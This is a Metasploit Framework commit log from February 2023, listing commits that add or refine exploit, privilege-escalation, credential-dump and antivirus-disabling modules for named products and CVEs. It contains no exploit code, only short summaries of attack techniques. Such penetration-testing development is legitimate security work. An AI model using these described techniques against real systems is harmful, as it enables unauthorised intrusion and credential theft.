Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2023-02-23 20:32:58 -05:00
space-r7 eec73fe394 add module changes 2023-02-23 16:34:43 -06:00
Jack Heysel 5e2f0965f3 Changed print_bad to fail_with 2023-02-23 17:33:52 -05:00
Jack Heysel 8db255288b Spelling 2023-02-23 16:40:09 -05:00
Jack Heysel 2ed89dda7e Added nc and python cmd techniques 2023-02-23 16:21:09 -05:00
Spencer McIntyre fbf2e5d370 Land #17562, Fix incorrect defs in def_wldap32.rb
Fix incorrect definitions for ldap_search functions in def_wldap32.rb
2023-02-23 14:03:26 -05:00
Metasploit f4549b0a1e Bump version of framework to 6.3.5 2023-02-23 12:11:22 -06:00
adfoster-r7 d21f6a10a2 Land #17690, Update inspect ticket tests to use the local timezone 2023-02-23 16:02:55 +00:00
dwelch-r7 6c5c158607 Land #17691, Fix module spec test failing on local machine 2023-02-23 14:52:05 +00:00
Spencer McIntyre 42bd87e0c1 Update how railgun handles pointer return types
Update railgun to handle pointer return types. If the type that is
pointed to is known (i.e. PCHAR, PULONG_PTR) and not LPVOID, the
contents returned to the caller. The raw address is also returned in the
&return key to enable the caller to free the buffer if necessary which
is determined by the function that was called.
2023-02-23 08:42:59 -06:00
Grant Willcox 4c25530afe Fix up PCHAR and PWCHAR definitions to correctly handle cases where the return value may be 0. Also fix some definitions to be clearer and work on x64. 2023-02-23 08:41:26 -06:00
Grant Willcox ae461c2395 Add in ULONG alias to DWORD and update definitions to fix some mistakes 2023-02-23 08:40:28 -06:00
Grant Willcox 59eb419d28 Make PULONG_PTR definitions PLPVOID to be more accurate, and correctly define some structures as PBLOB so they be handled correctly 2023-02-23 08:40:23 -06:00
Grant Willcox d16905ca49 Fix incorrect definitions for ldap_search functions 2023-02-23 08:40:22 -06:00
Dean Welch 8a37cc6c88 Update inspect ticket tests to use the local timezone 2023-02-23 14:39:19 +00:00
Grant Willcox 8b27c2e8f7 Use start_tls for connections with SSL 2023-02-23 08:33:18 -06:00
adfoster-r7 b2cc84228f Fix module spec test failing on local machine 2023-02-23 14:27:44 +00:00
Dean Welch 65c11bd8c8 Update inspect ticket tests to use the local timezone 2023-02-23 13:37:16 +00:00
Dean Welch fd5d10e610 Update inspect ticket tests to use the local timezone 2023-02-23 12:43:43 +00:00
archcloudlabs 743e5ffd9f adding an example for additional http-headers 2023-02-22 22:22:04 -05:00
archcloudlabs 10552cbc87 msftidy and notes 2023-02-22 21:48:35 -05:00
archcloudlabs 9ff4cdfd5c updated w/ socat method 2023-02-22 21:40:26 -05:00
archcloudlabs 55371f9363 removing to_str 2023-02-22 20:36:55 -05:00
adfoster-r7 2de3142cde Land #17685, Fixed Broken Link for Metasploit Goliath in GSOC'23 page 2023-02-23 00:43:34 +00:00
samsepi0x0 b3f30f00a7 Update GSoC-2023-Project-Ideas.md 2023-02-23 05:13:27 +05:30
samsepi0x0 b38d51edca Update GSoC-2023-Project-Ideas.md 2023-02-23 02:19:40 +05:30
samsepi0x0 6b36463086 Fixed Broken Link for Metasploit Goliath. 2023-02-23 01:34:16 +05:30
Metasploit c0042ab0d2 automatic module_metadata_base.json update 2023-02-22 12:26:24 -06:00
space-r7 9621f77bac Land #17640, add Froxlor RCE 2023-02-22 12:11:38 -06:00
Jack Heysel bf7884b2dc Removed need to auth twice when AutoCheck enabled 2023-02-22 12:28:28 -05:00
Imran E. Dawoodjee 62439bbcd0 Update documentation 2023-02-22 22:52:43 +08:00
Imran E. Dawoodjee 2b5b17916f Update docs, improved robustness of module+lib 2023-02-22 22:41:14 +08:00
sfewer-r7 690abcfe1f improve the documentation, mention some steps required during setup. 2023-02-22 09:42:11 +00:00
Jack Heysel f6ec3855b3 Removed space at EOL 2023-02-22 00:35:42 -05:00
Jack Heysel 0c8df1a67b Updated docs and module suggetsions 2023-02-22 00:33:40 -05:00
jheysel-r7 42146fc4ec Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 23:02:49 -05:00
jheysel-r7 80cec400bf Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:59:23 -05:00
jheysel-r7 fc5f4983f6 Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:49 -05:00
jheysel-r7 647418745f Update modules/exploits/linux/http/froxlor_log_path_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-02-21 22:58:41 -05:00
Metasploit e1e39ad5bc automatic module_metadata_base.json update 2023-02-21 15:44:56 -06:00
Jack Heysel e625e2e474 Land #17652, module for pyload js2py exploit
This adds an exploit for CVE-2023-0297 which is unauthenticated
Javascript injection in pyLoads Click N Load service.
2023-02-21 16:27:04 -05:00
Spencer McIntyre 6dbf22a5e7 Automatically rebind on STATUS_PIPE_DISCONNECTED 2023-02-21 15:51:10 -05:00
Spencer McIntyre fa3baa40e6 Add three new petitpotam methods 2023-02-21 14:38:52 -05:00
sfewer-r7 963b9a9952 Merge remote-tracking branch 'origin/CVE-2022-21587' into CVE-2022-21587 2023-02-21 18:02:10 +00:00
sfewer-r7 3854c30a11 more specific testing of the response after upload to ensure it contains the expected EBS response data. infer the relative path traversal depth from the path to the upload folder, thanks @gwillcox-r7 2023-02-21 18:00:17 +00:00
Dean Welch fc5d938d8c Add support for full pac and partial ticket checksum support 2023-02-21 13:03:59 +00:00
adfoster-r7 1b44973c80 Improve UX of module explorer 2023-02-21 12:06:24 +00:00
adfoster-r7 239bc02db4 Fix broken payload selection for metasploit rpc 2023-02-21 11:04:11 +00:00
Imran E. Dawoodjee 6e9a7a9d07 Minor fixes 2023-02-20 23:45:59 +08:00
cgranleese-r7 31a5125d78 Land #17674, Update basic discovery script database connection 2023-02-20 11:44:36 +00:00
adfoster-r7 5314d21e59 Update basic discovery script database connection 2023-02-20 09:42:59 +00:00
adfoster-r7 db290369a4 Land #17650, Fix #17602 - Update basic_discovery.rc to support commas in RHOST values 2023-02-20 09:41:08 +00:00
archcloudlabs bf5919f461 finisehd msftidy/rubocop fixs 2023-02-19 19:49:39 -05:00
archcloudlabs f61c3bcefc initial commit of disable_av documentation 2023-02-19 19:49:39 -05:00
archcloudlabs fc5a38e870 Simplifying the module 2023-02-19 19:49:39 -05:00
archcloudlabs 1f45b1e4b7 initial commit of disable_clamav module 2023-02-19 19:49:39 -05:00
JBince 75fb5e883d Exploit update based on feedback 2023-02-19 09:16:56 -06:00
Imran E. Dawoodjee bdc435f5c8 Add login module for Softing Secure Integration Server 2023-02-19 22:25:22 +08:00
Grant Willcox 066d0a6f7e Land #17663, fixing case insensitive issue for show options #17459 2023-02-18 13:26:47 -06:00
manishkumarr1017 c553f80cd9 fixing case insensitive issue for show options #17459 2023-02-18 05:51:46 +00:00
Grant Willcox 38d8b70873 Make msftidy_docs.rb happy and then also clarify where to find software download links 2023-02-17 14:56:51 -06:00
Grant Willcox c713da368d Add in a few fixes from the review 2023-02-17 14:52:57 -06:00
space-r7 871c9c57f3 add logic to retrieve email address 2023-02-17 14:13:29 -06:00
Metasploit 9cf2bbf352 automatic module_metadata_base.json update 2023-02-17 12:36:29 -06:00
Spencer McIntyre c6e9c8e3db Land #17660, Move temp storage of reg hives
Move temp storage of reg hives to %TEMP%
2023-02-17 13:12:29 -05:00
Grant Willcox 676dd5cbbd Bump up gems 2023-02-17 11:40:23 -06:00
cgranleese-r7 292c160abf Land #17637, Add module information to docs site 2023-02-17 14:32:10 +00:00
JBince ce9933fc4c Feedback changes + rubocop & msftidy changes 2023-02-17 08:16:49 -06:00
sfewer-r7 73e82274dd changes as per @gwillcox-r7 review 2023-02-17 13:10:53 +00:00
space-r7 197124dd76 add Git usage, repository creation 2023-02-16 17:38:02 -06:00
JBince a3a6ae9c4a feedback fixes 2023-02-16 14:33:03 -06:00
Jonas Vestberg c610949a5a Move temp storage of reg hives to %TEMP% 2023-02-16 20:13:31 +01:00
Jack Heysel 44c393e2f1 Fixed netcat session cleanup 2023-02-16 13:14:24 -05:00
Metasploit 71cecfb1d4 Bump version of framework to 6.3.4 2023-02-16 12:12:20 -06:00
Jack Heysel 1c49b002d2 Changed get_csrf to use xpath 2023-02-16 10:47:04 -05:00
Jack Heysel 00d1637f3d Changed check method to use xpath 2023-02-16 10:33:15 -05:00
Grant Willcox e7da4c4612 Land #17594, Add larger DLL templates 2023-02-15 19:35:37 -06:00
samsepi0x0 12c739b881 Update basic_discovery.rc 2023-02-16 03:53:21 +05:30
Metasploit 5a2ab6edd4 automatic module_metadata_base.json update 2023-02-15 15:32:23 -06:00
Spencer McIntyre ecd5ad29a7 Add module docs 2023-02-15 16:29:42 -05:00
Grant Willcox a8d2073eee Land #17646, Link Hadoop YARN exploit to documentation 2023-02-15 15:09:05 -06:00
samsepi0x0 86e8f5c484 Correctly parsed before the scan. 2023-02-15 14:47:24 -06:00
Arnout Engelen 5d8b1dc4a6 Link Hadoop YARN exploit to documentation
This exploit scans for misconfigured installations, link to the documentation
that describes how to properly secure it.
2023-02-15 21:17:26 +01:00
Spencer McIntyre 557042c91c Initial exploit is working 2023-02-15 14:18:25 -05:00
Grant Willcox b89602bb7b Land #17645, Fix bootup git warnings on arch 2023-02-15 11:49:57 -06:00
Spencer McIntyre 301d25ddfa Raise more explicit errors for invalid arguments 2023-02-15 09:07:01 -05:00
adfoster-r7 a98368cfc5 Fix bootup git warnings on arch 2023-02-15 11:18:02 +00:00
Spencer McIntyre 5725dd2ded Fix an off by one size error 2023-02-14 18:01:14 -05:00
Metasploit 165b0f8d61 automatic module_metadata_base.json update 2023-02-14 16:23:51 -06:00
Spencer McIntyre ac9d60ce9e Land #17281, Added module for CVE-2022-2992
Added module for CVE-2022-2992 - Gitlab Remote Command Execution via Github import
2023-02-14 16:57:29 -05:00
Spencer McIntyre 5d254cc36b Land heyder#2, Refactor namespaces 2023-02-14 16:44:29 -05:00
space-r7 78ae5f49ce add gitlab prefix back to methods 2023-02-14 15:26:01 -06:00
space-r7 304b90ecc8 split mixins between forms and v4 api used 2023-02-14 12:37:43 -06:00
Jack Heysel 8aed02de3d Linting 2023-02-14 10:39:47 -05:00
adfoster-r7 bf57918454 Add module information to docs site 2023-02-14 13:10:03 +00:00
sfewer-r7 d1463df3cc fix documentation issues from msftidy_docs 2023-02-14 10:47:47 +00:00
Jack Heysel ff159c8760 Updated TODO 2023-02-13 20:24:32 -05:00
Jack Heysel ca0b1ffe05 Documentation fixes 2023-02-13 19:56:23 -05:00
Jack Heysel 2e195b2742 Initial commit Froxlor RCE 2023-02-13 19:39:18 -05:00
Metasploit 0e86cfa6c7 automatic module_metadata_base.json update 2023-02-13 18:13:40 -06:00
Grant Willcox d012145726 Land #17599, Cisco RV LAN Exploit - CVE-2022-20705 and CVE-2022-20707 2023-02-13 17:50:06 -06:00
Stephen Wildow 96fecb6048 Modified BadChars and FailWith codes 2023-02-13 17:49:09 -05:00
JBince 1dadd113dd msftidy changes to documentation 2023-02-13 15:27:07 -06:00
JBince 9c3cfd8bdb Added documentation, cleaned up functions, rubocop fixes 2023-02-13 15:19:45 -06:00
Grant Willcox 45e453d687 Fix up remaining review comments 2023-02-13 15:07:25 -06:00
space-r7 9605b4bb91 Merge branch 'heyder-pr-1' into heyder-cve-2022-2992 2023-02-13 14:59:45 -06:00
Spencer McIntyre c3fa924cfa Remove the NGROK_URL option 2023-02-13 14:31:44 -05:00
Spencer McIntyre 210b7a3254 Use #get_json_document instead of JSON.parse
Also fix typos
2023-02-13 14:00:13 -05:00
space-r7 d6419ee4fb add check method, login, main logic 2023-02-13 11:31:06 -06:00
JBince 2a386981bd Updated Module & Payloads + Rubocop Fixes 2023-02-13 09:03:57 -06:00
JBince f4c5e34a1b Added improved functionality on both Windows and Unix installs 2023-02-12 14:42:22 -06:00
JBince fcfc39296f Added improved functionality on both Windows and Unix installs 2023-02-12 14:39:11 -06:00
Stephen Wildow 79b1801a4f Rewrote check method to only abuse authentication bypass. Added additional status checks. 2023-02-11 17:43:33 -05:00
JBince d5b7ad30a1 Created module 2023-02-10 17:01:57 -06:00
sfewer-r7 a3f4dceb5b clean up the check method; avoid using print_message in favor of the CheckCode reason. and use a CheckCode of Safe rather than Unknown if we dont find the expected version string. Thanks @bcoles for the review on this. 2023-02-10 13:03:23 +00:00
sfewer-r7 6b29b14c46 add in module documentation 2023-02-10 12:41:55 +00:00
sfewer-r7 dc8ee988f5 use Rex::Version in the check method for better version comparisons 2023-02-10 10:45:32 +00:00
sfewer-r7 a19bdde276 pass the 'bne:uueupload' param via the vars_get option 2023-02-10 10:44:21 +00:00
sfewer-r7 54c472ef18 fix typo in the description 2023-02-10 10:43:36 +00:00
Stephen Wildow 036ed7f467 Removed /etc/password. Modified check code and fail_with. Added proper checking for non-vulnerable versions of firmware. 2023-02-09 21:55:40 -05:00
Metasploit 86fc617259 automatic module_metadata_base.json update 2023-02-09 17:53:04 -06:00
Grant Willcox 0cf7dd850f Land #17626, Fix Frycos author name in fortra_goanywhere_rce_cve_2023_0669.rb 2023-02-09 17:38:34 -06:00
Frycos e963582e18 Update fortra_goanywhere_rce_cve_2023_0669.rb
Name typo
2023-02-09 23:06:59 +01:00
Grant Willcox f2a86327d0 Minor fixes from review 2023-02-09 15:34:25 -06:00
Metasploit 6343fc8f7c automatic module_metadata_base.json update 2023-02-09 14:27:19 -06:00
Spencer McIntyre fd6cd82f30 Upgrade DLL template size automatically 2023-02-09 15:09:50 -05:00
Spencer McIntyre 025ba6775d Add a README file with some basic information 2023-02-09 15:09:50 -05:00
Spencer McIntyre 126e3a9c9a Add larger 256KiB DLL templates 2023-02-09 15:09:50 -05:00
Spencer McIntyre 2608852d8c Consolidate gdiplus build code
This references the main dll/template.c code as the mixed-mode variant
already does. This will make future changes easier as we won't need to
copy them from the main to this one.

See https://github.com/rapid7/metasploit-framework/pull/8509 for the
origin of these files.
2023-02-09 15:09:50 -05:00
Grant Willcox aa9b3df6b3 Land #17625, Add credit for CVE-2023-0669; fix path in docs 2023-02-09 14:02:52 -06:00
Metasploit e420dc123d Bump version of framework to 6.3.3 2023-02-09 12:10:37 -06:00
Spencer McIntyre c7279e9a0a Add credit for CVE-2023-0669; fix path in docs 2023-02-09 13:02:40 -05:00
Metasploit 73567cfbf6 automatic module_metadata_base.json update 2023-02-09 11:57:08 -06:00
Grant Willcox 43b4ee268c Land #17592, Fix bypassuac_injection_winsxs for x64 2023-02-09 11:41:51 -06:00
sfewer-r7 d4be663923 add the side effect flag ARTIFACTS_ON_DISK as during extraction of the UUE encoded zip file, some randomly names temp files are left in /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload 2023-02-09 17:28:15 +00:00
sfewer-r7 86f11b09fb avoid the upto loop when creating jsp_path 2023-02-09 17:18:58 +00:00
Spencer McIntyre e6f4e96544 Close hFindFile 2023-02-09 11:43:20 -05:00
sfewer-r7 406574722a satisfy Rubocop 2023-02-09 16:30:30 +00:00
sfewer-r7 b97a288102 add an exploit module for CVE-2022-21587 (Oracle E-Business Suite RCE) 2023-02-09 16:22:30 +00:00
adfoster-r7 139ad4a4be Land #17623, Move fortra_goanywhere_rce_cve_2023_0669 module documentation to documentation directory 2023-02-09 13:21:10 +00:00
bcoles de8a6e1445 Move fortra_goanywhere_rce_cve_2023_0669 module documentation to documentation directory 2023-02-09 23:12:45 +11:00
Metasploit 2f20c9836f automatic module_metadata_base.json update 2023-02-09 04:25:48 -06:00
cgranleese-r7 508f5c7e52 Land #17619, Run rubocop on exploit modules 2023-02-09 10:11:53 +00:00
Stephen Wildow 4b05ba6189 Update description and vulnerability listings. Cleaned up references. More randomization. Removed first unnecessary request in exploit portion of code. Added rescue section around json grabbing. 2023-02-08 21:26:18 -05:00
Stephen Wildow 427c181e9a Utilized msftidy_docs.rb to clean up missing sections, excessively long lines, spaces at EOL, and space end of file. Removed credit section. Expanded on installation procedure. Modified steps procedure to include Verify options and removed failure status. Removed Targets section. Scenarios have device, target, and architecture. 2023-02-08 19:18:14 -05:00
Jack Heysel 19bcf8be7f Working hardcoded payload 2023-02-08 18:14:11 -05:00
Metasploit a9bd7e9f46 automatic module_metadata_base.json update 2023-02-08 13:31:52 -06:00
bwatters 01a78f972c Land #17567, ManageEngine Endpoint Central RCE (CVE-2022-47966)
Merge branch 'land-17567' into upstream-master
2023-02-08 13:06:53 -06:00
Metasploit 79a5481d9c automatic module_metadata_base.json update 2023-02-08 12:10:30 -06:00
Spencer McIntyre c997952d83 Land #17607, Fortra RCE CVE-2023-0669
Fortra deserialization RCE CVE-2023-0669 (ETR)
2023-02-08 12:56:09 -05:00
Metasploit 810ef42bf0 automatic module_metadata_base.json update 2023-02-08 11:55:11 -06:00
Ron Bowes 0c6ebed3ac Merge pull request #3 from smcintyre-r7/pr/collab/17607
Pr/collab/17607
2023-02-08 09:41:35 -08:00
cgranleese-r7 a878403a3e Land #17618, Run rubocop on auxiliary admin http modules 2023-02-08 17:40:26 +00:00
Metasploit 0de766498c automatic module_metadata_base.json update 2023-02-08 10:49:50 -06:00
cgranleese-r7 c3e9e2751a Land #17617, Update linting on post modules 2023-02-08 16:35:20 +00:00
adfoster-r7 656ded4b86 Add module notes 2023-02-08 15:46:07 +00:00
Spencer McIntyre 2b008af097 Move the module to reflect it targets Windows too 2023-02-08 10:24:27 -05:00
adfoster-r7 25ee41df68 Run rubocop on exploit modules 2023-02-08 15:20:32 +00:00
adfoster-r7 9469c8394a Update rubocop rules for moules 2023-02-08 15:18:25 +00:00
Spencer McIntyre 75ceb7b670 Refactor option handling.
Use CamelCase names for advaned options and add validation.
2023-02-08 10:17:16 -05:00
Spencer McIntyre fef7c85518 Add Windows target compatibility 2023-02-08 09:47:37 -05:00
adfoster-r7 6e9b33dc88 Run rubocop on auxiliary admin http modules 2023-02-08 14:30:08 +00:00
Metasploit 716ba68b25 automatic module_metadata_base.json update 2023-02-08 08:24:26 -06:00
adfoster-r7 b56213b168 Update linting on post modules 2023-02-08 14:12:43 +00:00
dwelch-r7 11c886b30f Land #17616, Run rubocop on post modules 2023-02-08 14:09:16 +00:00
adfoster-r7 a81a71c5df Run rubocop on post modules 2023-02-08 13:47:34 +00:00
adfoster-r7 488cfc84ef Disable noisey or unsafe Rubocop rules 2023-02-08 13:42:49 +00:00
Metasploit f8bb85ffe3 automatic module_metadata_base.json update 2023-02-08 07:06:26 -06:00
dwelch-r7 7909fe32c2 Land #17612, Add exception handling for finalizer methods 2023-02-08 12:33:52 +00:00
cgranleese-r7 10144a9f13 Land #17615, Add missing module notes for stability reliability and side effects 2023-02-08 12:28:47 +00:00
adfoster-r7 433bafdccf Add missing module notes for stability reliability and side effects 2023-02-08 11:45:17 +00:00
adfoster-r7 d261aa6a2b Land #17603, Add ul_type 12 (UPN and DNS info) to pac bindata 2023-02-08 11:22:20 +00:00
adfoster-r7 4311c34a0b Land #17614, Weekly dependency updates for Gemfile.lock 2023-02-08 11:13:15 +00:00
Stephen Wildow 35749a000a Added docs. Performed code linting with rubocop. 2023-02-07 20:27:07 -05:00
Grant Willcox affe47957b Bump up Gems 2023-02-07 17:21:16 -06:00
Metasploit 1168658f0e automatic module_metadata_base.json update 2023-02-07 17:21:03 -06:00
dwelch-r7 782e4c0295 Add ul_type 12 (UPN and DNS info) to pac bindata 2023-02-07 23:14:00 +00:00
bwatters 8ee67085c8 Land #17556, ManageEngine ADSelfService Plus RCE (CVE-2022-47966)
Merge branch 'land-17556' into upstream-master
2023-02-07 16:57:22 -06:00
Metasploit a036c2fae0 automatic module_metadata_base.json update 2023-02-07 15:54:12 -06:00
Grant Willcox c2e8f3fa69 Land #17494, Add NagiosXI authenticated RCE (CVE-2021-25296, CVE-2021-25297,CVE-2021-25298) exploit module 2023-02-07 15:38:36 -06:00
adfoster-r7 f145a214ca Add exception handling for finalizer methods 2023-02-07 20:28:15 +00:00
Matthew Dunn 52fa2e5be6 Add example for version 5.5.6 with CVE-2021-25297 2023-02-07 14:18:53 -06:00
Grant Willcox 489ab24876 Add in additional case documentation for the various targets and CVEs and fix a bug in the code 2023-02-07 14:18:45 -06:00
Matthew Dunn 8ba7a28caf Add quotes to set-time command in docs 2023-02-07 14:18:45 -06:00
Grant Willcox 7c30889784 Refactor code to handle unsigned licenses in one central function 2023-02-07 14:18:39 -06:00
Grant Willcox b14bcd40a2 Fix incorrect match logic grabbing the wrong entry from results for NSP 2023-02-07 14:18:38 -06:00
Grant Willcox 425da60b15 Add in missing case 5 check 2023-02-07 14:18:38 -06:00
Matthew Dunn 90e07ef5ed Switch to match over scan and add troubleshooting steps 2023-02-07 14:18:37 -06:00
Matthew Dunn 8cddf56238 Verify auth_cookies before use 2023-02-07 14:18:37 -06:00
Matthew Dunn a276659681 Use more encompassing single regex 2023-02-07 14:18:36 -06:00
Matthew Dunn 7554b5e4fd Add failure condition for nsp's that fail to match the regex 2023-02-07 14:18:36 -06:00
Matthew Dunn 1cb06b11ac Adjust exploit and docs to support versions 5.5.6-5.7.5 2023-02-07 14:18:09 -06:00
Matthew Dunn 87176f9d7f Address Review Comments and add CVE-2021-25297 coverage 2023-02-07 14:18:06 -06:00
Matthew Dunn c5914d8c99 Insert randomized strings to fix exploit with plugin_output_len 2023-02-07 14:18:05 -06:00
Matthew Dunn 990db5372f Remove extra payload details, add config check 2023-02-07 14:18:05 -06:00
Matthew Dunn b042e71b2a Make Module work for both target url parameters 2023-02-07 14:18:04 -06:00
Matthew Dunn b606d1ff6b Add Documentation for Module
Fix CVE format

Add Documentation
2023-02-07 14:18:04 -06:00
Matthew Dunn 5846d95b25 Create nagios_xi_configwizards_authenticated_rce.rb
Add initial module
2023-02-07 14:18:03 -06:00
Ron Bowes 676bb2af02 Fix a couple requests from the PR 2023-02-07 09:05:44 -08:00
Ron Bowes 588bddc950 Fix a couple requests from the PR 2023-02-07 09:05:16 -08:00
Metasploit 4143e6ea92 automatic module_metadata_base.json update 2023-02-06 17:52:49 -06:00
bwatters 53c67653f5 Land #17527, ManageEngine ServiceDesk Plus RCE (CVE-2022-47966)
Merge branch 'land-17527' into upstream-master
2023-02-06 17:37:31 -06:00
Ron Bowes f7fb611bcc Add documentation 2023-02-06 14:35:42 -08:00
bwatters 8b116a7dcd Minor punctuation change 2023-02-06 16:32:39 -06:00
Ron Bowes 89485703dc Make rubocop happy 2023-02-06 14:23:55 -08:00
Ron Bowes 9b90343480 Check in the module 2023-02-06 14:21:42 -08:00
Metasploit b9bcf45a7d automatic module_metadata_base.json update 2023-02-06 08:21:33 -06:00
adfoster-r7 4a2dc0d6b0 Land #17598, modules/exploits/unix/local Add Notes and resolve RuboCop violations 2023-02-06 13:59:19 +00:00
adfoster-r7 215cfa27b0 Land #17483, add tomcat 8 priv esc on ubuntu (cve-2016-1240) 2023-02-06 13:53:25 +00:00
Spencer McIntyre 6e6d8473b6 Land #17595, Documentation update
Documentation update to reflect Address instead of Host in ReverseListener setup
2023-02-06 08:45:39 -05:00
h00die-gr3y d763faf245 sync documentation 2023-02-06 06:56:59 +00:00
Stephen Wildow 475813eb33 Properly labing ZDI vulnerability 2023-02-05 21:48:48 -05:00
Stephen Wildow 59332da8ce Randomized hard coded strings, modified cmd string, and updated references 2023-02-05 21:42:57 -05:00
Stephen Wildow ac9caa8894 Removed unnecessary CVE listing 2023-02-05 14:32:04 -05:00
Stephen Wildow 7cff3cc2b0 Updated to include vulnerable versions of software 2023-02-05 13:20:52 -05:00
Stephen Wildow 4b3125d14b Add module to exploit Cisco RV34x Small Business Routers 2023-02-05 10:15:16 -05:00
Metasploit 42e1bed3f5 automatic module_metadata_base.json update 2023-02-05 08:23:02 -06:00
adfoster-r7 af29786f1b Land #17597, qubes_mirage_firewall_dos: Fix notes for SideEffects and Reliability 2023-02-05 14:08:57 +00:00
h00die a5a7d5dd10 correct cleanup and stabilization 2023-02-05 08:15:38 -05:00
bcoles adf5091c7a modules/exploits/unix/local: Add Notes and resolve RuboCop violations 2023-02-05 15:45:30 +11:00
bcoles 19b526d584 qubes_mirage_firewall_dos: Fix notes for SideEffects and Reliability 2023-02-05 12:04:59 +11:00
h00die 561b42f105 use exploit retry function 2023-02-04 18:17:42 -05:00
h00die 6aa6f5176b touch up verbiage and stuff 2023-02-04 18:17:42 -05:00
h00die aff14e8e46 tocat to tomcat 2023-02-04 18:17:42 -05:00
h00die e30cae2e40 uncomment needed code 2023-02-04 18:17:42 -05:00
h00die 34b1e66f90 tomcat 8 priv esc on ubuntu prebuilt so file 2023-02-04 18:17:41 -05:00
h00die 2b09af78e1 tomcat 8 priv esc on ubuntu 2023-02-04 18:17:41 -05:00
Matt Konda c3393f30c3 Update to reflect Address instead of Host in
Update the name of the ReverseListenerBindAddress (instead of ReverseListenserBindHost) because that seems to be works.

```
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set ReverseListenerBindHost 172.17.0.2                                                  
[-] Unknown datastore option: ReverseListenerBindHost. Did you mean ReverseListenerBindPort?                                           
msf6 exploit(multi/http/tomcat_jsp_upload_bypass) > set ReverseListenerBindAddress 172.17.0.2                                               
ReverseListenerBindAddress => 172.17.0.2
```
2023-02-03 23:27:32 -06:00
Grant Willcox ad82437067 Land #17591, Fix metasm_shell by requiring readline 2023-02-03 15:14:32 -06:00
Spencer McIntyre dc179f6279 Fix stack trace on exit via Ctrl+D (EOF) 2023-02-03 14:38:07 -05:00
Spencer McIntyre 51fd9ee703 Require readline 2023-02-03 14:38:02 -05:00
Spencer McIntyre f2e5e77e27 Fix bypassuac_injection_winsxs for x64
Tested on Windows 8.1, prior to these chagnes the bad railgun definition
would cause the session to crash.
2023-02-03 13:02:53 -05:00
adfoster-r7 fd43c43a30 Land #17452, Deprecate import-dev-keys script 2023-02-03 17:49:57 +00:00
Grant Willcox d576e77b70 Deprecate import-dev-keys.sh 2023-02-03 10:12:12 -06:00
cgranleese-r7 6d62362b82 Land #17587, Update wiki to use latest ruby conventions 2023-02-03 14:30:16 +00:00
Metasploit 3b80e223b1 automatic module_metadata_base.json update 2023-02-03 07:57:50 -06:00
cgranleese-r7 80dbbca020 Land #17371, Lenovo Diagnostics Driver Privilege Escalation (CVE-2022-3699) 2023-02-03 13:43:04 +00:00
adfoster-r7 c777b33fcb Update wiki to use latest ruby conventions 2023-02-03 13:35:03 +00:00
adfoster-r7 c3c3987867 Land #17398, Update cmdstager docs 2023-02-03 13:08:01 +00:00
cgranleese-r7 b789e00ea7 Enhances info -d with references to AttackerKB 2023-02-03 10:15:55 +00:00
Metasploit 87323134a5 automatic module_metadata_base.json update 2023-02-02 14:28:38 -06:00
Jack Heysel 6ab7e177f4 Land #17392, add F5 Big-IP priv esc module
Add a privilege escalation module for F5 that uses
the unsecured MCP socket to create a new root account
2023-02-02 15:10:33 -05:00
Metasploit feee510999 automatic module_metadata_base.json update 2023-02-02 13:03:49 -06:00
Jack Heysel 99e31c561a Land #17585, mac dirty cow add session types
Sets missing session types during module initialization
2023-02-02 13:36:43 -05:00
Jack Heysel f4ad778bd0 Added missing session types 2023-02-02 13:29:43 -05:00
Metasploit 5d6e989e64 Bump version of framework to 6.3.2 2023-02-02 12:11:52 -06:00
Metasploit 83f9964e99 automatic module_metadata_base.json update 2023-02-02 12:03:09 -06:00
adfoster-r7 cfb5a55880 Land #16946, Add row indicator to show targets command 2023-02-02 17:26:53 +00:00
Jack Heysel af2ef53462 Land #17415, macOS dirty cow priv esc 2023-02-02 12:15:19 -05:00
adfoster-r7 b408837b7f Land #17575, Load TGS tickets with a different sname 2023-02-02 17:02:48 +00:00
cgranleese-r7 d1e68e634a Add row indicator to show targets command 2023-02-02 16:12:19 +00:00
Jack Heysel 1f224fd2d3 Rapid7 compiled binary 2023-02-02 11:11:06 -05:00
Jack Heysel 88caeddc8c Fixed license 2023-02-02 11:10:06 -05:00
Jack Heysel 4de5e44bda Documentation 2023-02-02 10:38:26 -05:00
Spencer McIntyre 3eaed76025 Land #17561, Fix functions in def_iphlpapi.rb
Fix input and output buffers for some mislabeled functions in def_iphlpapi.rb
2023-02-02 09:10:28 -05:00
Metasploit 2b2406f9af automatic module_metadata_base.json update 2023-02-02 05:05:42 -06:00
adfoster-r7 952a4fe37a Land #17581, modules: Check datastore ForceExploit before checking if session is root 2023-02-02 10:19:07 +00:00
adfoster-r7 56866ad09a Land #17580, update links to new docs website 2023-02-02 10:15:10 +00:00
bcoles 6f4a17230d exploits/osx/local/vmware_fusion_lpe: Add notes 2023-02-02 18:46:08 +11:00
bcoles a83d070396 exploits/freebsd/local/ip6_setpktopt_uaf_priv_esc: Add Reliability notes 2023-02-02 18:45:43 +11:00
bcoles ef87a63bde modules: Check datastore ForceExploit before checking if session is root 2023-02-02 18:17:02 +11:00
Grant Willcox 48a27ab555 Fix the remaining references to the old wiki site. 2023-02-01 21:25:06 -06:00
Metasploit e752e1dbca automatic module_metadata_base.json update 2023-02-01 18:12:49 -06:00
adfoster-r7 6870efc34a Land #17426, Update all references to old Wiki to point to new docs site 2023-02-01 23:49:20 +00:00
Metasploit f128640bf1 automatic module_metadata_base.json update 2023-02-01 16:59:01 -06:00
Jack Heysel c90a6f9068 Land #17406, veeam_credential_dump post module
Veeam Backup & Recovery and Veeam ONE Monitor credential
capture post module for versions 9.x and 11.x.
2023-02-01 17:29:05 -05:00
Metasploit 4418bcc673 automatic module_metadata_base.json update 2023-02-01 16:18:56 -06:00
Jack Heysel f4c5632b6d Cleaned up license file 2023-02-01 17:04:26 -05:00
Jack Heysel 076ffbcc65 Merge branch 'mac_dirty_cow' of github.com:timwr/metasploit-framework into mac_dirty_cow 2023-02-01 16:57:36 -05:00
